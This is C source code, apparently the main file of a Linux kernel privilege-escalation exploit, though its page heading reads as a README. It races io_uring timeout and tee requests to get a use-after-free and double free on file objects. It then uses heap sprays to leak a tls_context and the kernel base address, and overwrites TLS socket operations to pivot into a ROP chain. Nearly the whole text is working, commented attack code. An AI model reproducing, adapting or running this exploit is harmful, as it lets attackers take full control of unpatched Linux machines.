README.md
Rendering markdown...
#define _GNU_SOURCE
#include "err_state.h"
#include "rop.h"
#include "ring_helpers.h"
#include "affinity.h"
#include "manager.h"
#include <liburing.h>
static inline err_t submit_timeouts(struct manager *mgr)
{
struct timespec timeout_ts = {0}, link_ts = {0};
/* Never fire - practically infinite time */
timeout_ts.tv_sec = INF_TIME;
for (int i = 0; i < N_TIMEOUT_OBJS; i++) {
/* Scale the timeout for the link to
* stagger the race slightly. */
link_ts.tv_nsec = TIMEOUT + (i * TIMEOUT_SCALE);
/* Setup the timeout submission queue entry (SQE).
* This will retain a dangling reference to the link
* request if the (initial) race is won. */
init_timeout_sqe(&mgr->uaf_ring, &timeout_ts);
/* Setup the link SQE. This directs the kernel
* to construct our UAF request object from which
* we will induce the file UAF. */
init_link_sqe(&mgr->uaf_ring, &link_ts);
/* Submit the two SQEs for this iteration. */
IF_ERR(io_uring_submit(&mgr->uaf_ring)) {
perror("submit_timeouts:io_uring_submit");
return ERR;
}
}
return SUCC;
}
static inline err_t submit_tee(struct manager *mgr, int32_t index)
{
#define TAG (1330)
register int in = 0, out = 0;
struct io_uring_sqe* sqe_tee = NULL;
sqe_tee = io_uring_get_sqe(&mgr->tee_ring);
if (sqe_tee == NULL) {
perror("submit_tee:io_uring_get_sqe");
return ERR;
}
in = mgr->pipes_in[index][RD];
out = mgr->pipes_out[index][WR];
if (IS_ERR(in) || IS_ERR(out)) {
perror("submit_tee:fd=-1");
return ERR;
}
io_uring_prep_tee(sqe_tee, in, out, 3, 0);
sqe_tee->user_data = index + TAG;
IF_ERR(io_uring_submit(&mgr->tee_ring)) {
perror("submit_tee:io_uring_submit");
return ERR;
}
return SUCC;
}
void uaf_catch(void *arg)
{
struct manager *mgr = (struct manager *)arg;
IF_ERR_PTR(mgr) return;
IF_ERR(set_condition(&mgr->uaf_mutex,
&mgr->uaf_cond,
&mgr->threads_go)) {
return;
}
/* Delay for some offset from the TIMEOUT
* used in the link_timeout request. */
struct timespec ts = {0};
ts.tv_nsec = TIMEOUT + mgr->sleep_before_tee;
nanosleep(&ts, NULL);
for (int i = 0; i < N_TIMEOUT_OBJS; i++) {
submit_tee(mgr, i);
}
}
void uaf_trigger(void *arg)
{
struct manager *mgr = (struct manager *)arg;
IF_ERR_PTR(mgr)
return;
/* We wait here to start the race. Hopefully,
* synchronise trigger and catch threads. */
IF_ERR(wait_condition(&mgr->uaf_mutex,
&mgr->uaf_cond,
&mgr->threads_go)) {
return;
}
/* Submit timeout and link timeout requests. */
IF_ERR(submit_timeouts(mgr))
return;
}
static inline err_t close_other_pipes(struct manager *mgr, int32_t *hits)
{
int skip = 0;
for (int i = 0; i < N_PIPES; i++) {
for (int j = 0; j < hits[N_PIPES]; j++) {
if (hits[j] == i) {
skip = 1;
}
}
if (skip) {
skip = 0;
continue;
}
write(mgr->pipes_in[i][1], "AAA", 3);
write(mgr->pipes_out[i][1], "AAA", 3);
close(mgr->pipes_in[i][0]);
close(mgr->pipes_out[i][0]);
close(mgr->pipes_in[i][1]);
close(mgr->pipes_out[i][1]);
}
}
static inline err_t create_file_uaf(struct manager *mgr, int32_t *hits)
{
cc_next(mgr->cc);
cc_next(mgr->cc);
cc_next(mgr->cc);
for (int i = 0; i < hits[N_PIPES]; i++) {
int p_idx = hits[i];
int in = mgr->pipes_in[p_idx][WR];
int out = mgr->pipes_out[p_idx][WR];
write(in, "AAA", 3);
write(out, "AAA", 3);
}
usleep(200000);
for (int i = 0; i < hits[N_PIPES]; i++) {
int p_idx = hits[i];
int in = mgr->pipes_in[p_idx][WR];
close(in);
}
return SUCC;
}
static inline err_t reallocate_filp_page(struct manager *mgr)
{
IF_ERR_RET(spray_msg(mgr->msq_ids, TOTAL_MSGS, mgr->spray, MSG_SIZE))
memset((char *)mgr->spray, 0x00, MSG_SIZE);
return SUCC;
}
static inline err_t double_free_file(struct manager *mgr, int32_t *hits)
{
for (int i = 0; i < hits[N_PIPES]; i++) {
int p_idx = hits[i];
int in = mgr->pipes_in[p_idx][RD];
close(in);
}
return SUCC;
}
static inline err_t prepare_tls_overwrite(struct manager *mgr)
{
#define KHEAP_PTR_OFF (200)
#define RO_PTR_OFF (224)
#define LIST_OFF (0x98)
#define BASE_OFF (0x180b660)
/* Extract pointers and wipe the data, ready for spray. */
char *leak = (char *)mgr->leak + 4000;
uint64_t tls_context = *(uint64_t*)&leak[KHEAP_PTR_OFF] - LIST_OFF;
uint64_t kernel_base = *(uint64_t*)&leak[RO_PTR_OFF] - BASE_OFF;
printf("[+] Current tls_context @ %lx\n", tls_context);
printf("[+] Kernel base @ %lx\n", kernel_base);
memset((char *)mgr->leak, 0, MSG_SIZE);
#define GETSOCKOPT_OFF (40)
#define SK_PROTO_OFF (136)
/* Prepare sk_proto overwrite, getsockopt() overwrite,
* stack pivot, and ROP chain contents. */
char *spray = (char *)mgr->spray;
prepare_rop(&spray[8], kernel_base);
*(uint64_t*)&spray[GETSOCKOPT_OFF] = kernel_base + STACK_PIVOT_OFF;;
*(uint64_t*)&spray[SK_PROTO_OFF] = tls_context;
/* new_stack is a global from rop.h
* This is what we'll restore our SP
* to when we return from KM. */
new_stack = mmap(NULL, 0x4000,
PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (new_stack == MAP_FAILED) {
perror("run_machine:mmap");
return ERR;
}
new_stack += 0x3ff0;
return SUCC;
}
static inline err_t overwrite_tls(struct manager *mgr)
{
struct msgbuf* msg = (struct msgbuf*)mgr->spray;
for (int i = 0; i < 20; i++) {
msg->mtype = i + 100;
if (msgsnd(mgr->msq_ids[i], msg, 257, 0) < 0) {
perror("msgsnd");
}
}
return SUCC;
}
static inline void print_leak(char *leak)
{
#define TO_LEAK (48)
#define PER_LINE (4)
printf("[+] Printing out the kernel leak.\n");
uint64_t *ptr = (uint64_t *)(leak + 4000);
for (int i = 0; i < TO_LEAK; i++) {
printf("0x%016lx ", ptr[i]);
if ((i + 1) % PER_LINE == 0) {
printf("\n");
}
}
printf("\n");
}
static inline err_t leak_tls_contexts(struct manager *mgr)
{
char *leak = (char *)mgr->leak;
uint64_t *store = mgr->msq_ids;
IF_ERR_RET(leak_msg(DEAD_LIST_PATTERN, store, TOTAL_MSGS, leak, MSG_SIZE))
print_leak(leak);
return SUCC;
}
static inline err_t spray_tls_contexts(struct manager *mgr, uint8_t exp)
{
#define BEFORE_LEAK (0)
#define AFTER_LEAK (1)
switch(exp) {
case BEFORE_LEAK:
/* Before the leak occurs we spray
* "real" tls_context objects to overwrite
* some msg segment on the heap. */
upgrade_tls_socks();
break;
case AFTER_LEAK:
/* After the leak, we spray "fake"
* tls_context objects to initialise
* our stack pivot and ROP chain. */
prepare_tls_overwrite(mgr);
overwrite_tls(mgr);
break;
default:
return ERR;
}
return SUCC;
}
err_t init_machine(struct manager *mgr, int32_t *hits)
{
/* Close the pipes which we determined are not
* UAF candidates. If we don't do this then
* we might leave the victim page non-empty. */
printf("[.] Closing non-candidate pipes.\n");
IF_ERR_RET(close_other_pipes(mgr, hits))
usleep(10000);
printf("[.] Creating file use-after-free.\n");
IF_ERR_RET(create_file_uaf(mgr, hits))
printf("[.] Reallocating filp page with cross-cache.\n");
IF_ERR_RET(reallocate_filp_page(mgr))
usleep(10000);
printf("[.] Freeing file again for a msg_msgseg use-after-free.\n");
IF_ERR_RET(double_free_file(mgr, hits))
printf("[.] Spraying tls_context objects for a leak.\n");
IF_ERR_RET(spray_tls_contexts(mgr, BEFORE_LEAK))
printf("[.] Leaking tls_context object.\n");
IF_ERR_RET(leak_tls_contexts(mgr))
printf("[.] Spraying forged tls_context objects with msg_msgseg.\n");
IF_ERR_RET(spray_tls_contexts(mgr, AFTER_LEAK))
return SUCC;
}
err_t run_machine(struct manager *mgr)
{
char *spray = mgr->spray;
uint64_t tls_context = *(uint64_t*)&spray[SK_PROTO_OFF];
uint64_t pivot_stack = tls_context + 0x20;
/* Transfer control inside child task */
if (!fork()) {
/* Hopefully run along the ROP chain */
puts("[+] Calling getsockopt() to trigger execution.");
getsockopt_all_tls(0x41414141, 0x42424242,
pivot_stack, 0x8181818181818181);
}
/* Busyloop to prevent exit. */
for (;;);
__builtin_unreachable();
}
void uaf_wait_cqe(void *arg)
{
struct manager *mgr = (struct manager *) arg;
IF_ERR_PTR(mgr)
return;
/* If we get any good CQEs back then we'll store the pipe index
* in hits[]. Note that `hits[N_PIPES] will be set to hit_count */
uint8_t hit_count = 0;
int32_t hits[N_PIPES + 1] = {0};
struct io_uring_cqe *cqe = NULL;
for (int i = 0; i < N_WAIT_CQES; i++) {
/* Block in here until we get another CQE. */
IF_ERR(io_uring_wait_cqe(&mgr->tee_ring, &cqe)) {
perror("uaf_wait_cqe:io_uring_wait_cqe\n");
return;
}
IF_ERR_PTR(cqe) {
perror("uaf_wait_cqe:cqe=NULL");
break;
}
/* A completion event matching the criteria for a candidate
* of the UAF has been posted. So store its adjusted user_data. */
if (cqe->res) {
hits[hit_count++] = (int32_t)cqe->user_data - TAG;
}
io_uring_cqe_seen(&mgr->tee_ring, cqe);
}
if (hit_count) {
printf("[+] Successfully won the race, attempting file cross-cache.\n");
hits[N_PIPES] = hit_count;
IF_ERR(init_machine(mgr, &hits)) {
printf("[-] Trying again :/");
return;
}
IF_ERR(run_machine(mgr)) {
return;
}
} else {
printf("[-] Failed to reallocate the UAF object in the race window\n");
}
}
err_t race_threads(struct manager *mgr)
{
/* We detect the completion events (CQE) in our uaf_wait_cqe() thread. If any CQEs
* have a non-zero result value, then we know we've won and we can enter the
* second stage. This then induces a file UAF and reallocates the filp_cache page.
* More on this later.
* */
IF_ERR(start_threads(mgr, &mgr->wait_cqe_th, uaf_wait_cqe, N_WAIT_TH)) {
perror("race_threads:start_threads:uaf_wait_cqe");
return ERR;
}
/* Technically there's two races to win. The first is the race to a basic UAF.
* The second is the race to have reallocated the UAF object as a request
* with opcode of type IORING_OP_TEE. Of the two, it's easier to win the first.
* */
IF_ERR(start_threads(mgr, &mgr->trigger_th, uaf_trigger, N_TRIGGER_TH)) {
printf("race_threads:start_threads:uaf_trigger");
return ERR;
}
/* But it's basically useless on its own. So we need to use another thread
* (with entrypoint uaf_catch) to "catch" the request before the kernel
* reaches a certain block of code inside fs/io_uring.c::io_kill_linked_timeout().
*
* Without catching the request before the aforementioned code block, the kernel
* raises a refcount underflow warning and no interesting state can be reached.
* */
IF_ERR(start_threads(mgr, &mgr->catch_th, uaf_catch, N_CATCH_TH)) {
printf("race_threads:start_threads:uaf_wait_catch");
return ERR;
}
IF_ERR(wait_threads(&mgr->trigger_th, N_TRIGGER_TH)) {
printf("race_threads:wait_threads:uaf_trigger");
return ERR;
}
/* Wait for the aforementioned threads to complete. */
IF_ERR(wait_threads(&mgr->catch_th, N_CATCH_TH)) {
printf("race_threads:wait_threads:uaf_catch");
return ERR;
}
usleep(200000);
/* Just in case we didn't succeed in getting any CQEs
* we just unblock the thread with NOP requests. */
IF_ERR(force_unblock_wait_cqe(&mgr->tee_ring, N_WAIT_CQES)) {
printf("race_threads:force_unblock_wait_cqe");
}
IF_ERR(wait_threads(&mgr->wait_cqe_th, N_WAIT_TH)) {
printf("race_threads:wait_threads:wait_cqe_th");
return ERR;
}
return SUCC;
}
int main(void)
{
/* Pin our task to cpu 0 to avoid being rescheduled to another CPU.
* This is because each slab cache manages per-cpu object freelists.
* */
pin_cpu(0);
/* In new_session we setup:
* 1) Objects which track our page-allocator controls.
* 2) The TLS socket server and to-be-TLS sockets.
* Later we leak and overwrite a struct tls_context.
* 3) The io_uring rings (one to trigger, one to catch).
* 4) The pipes we have as UAF candidates.
* 5) Cross cache management object.
* */
struct manager *mgr = new_session();
IF_ERR_PTR(mgr)
goto out;
/*
* Enter the main loop to retry the race until it's won.
* */
for (;;) {
/* Allocate the "out" pipes which we don't want to
* land on any of the potential victim pages. */
open_pipes(mgr, 0);
/* Initialise the cross_cache attack to allocate as
* many file objects as the percpu partial list can
* hold and drive filp cache to set a new cpu0 "active slab". */
cc_next(mgr->cc);
cc_next(mgr->cc);
/* Allocate the candidate victim objects on the victim page.
* This page is probably the aforementioned "active slab". */
open_pipes(mgr, 1);
/* Setup a thread which detects the UAF candidates.
* And thread which trigger and catch the UAF on
* targeted io_kiocb objects. */
IF_ERR(race_threads(mgr)) {
printf("main:race_threads");
break;
}
usleep(200000);
/* Perform cleanup. If we're here it means we failed to win
* the race or to reallocate the page correctly. Let's try
* this all over again! */
IF_ERR(refresh_session(mgr)) {
printf("main:refresh_session");
break;
}
}
/* Close down the manager and the TLS socket server. */
end_session(mgr);
out:
printf("Exiting now\n");
return ERR;
}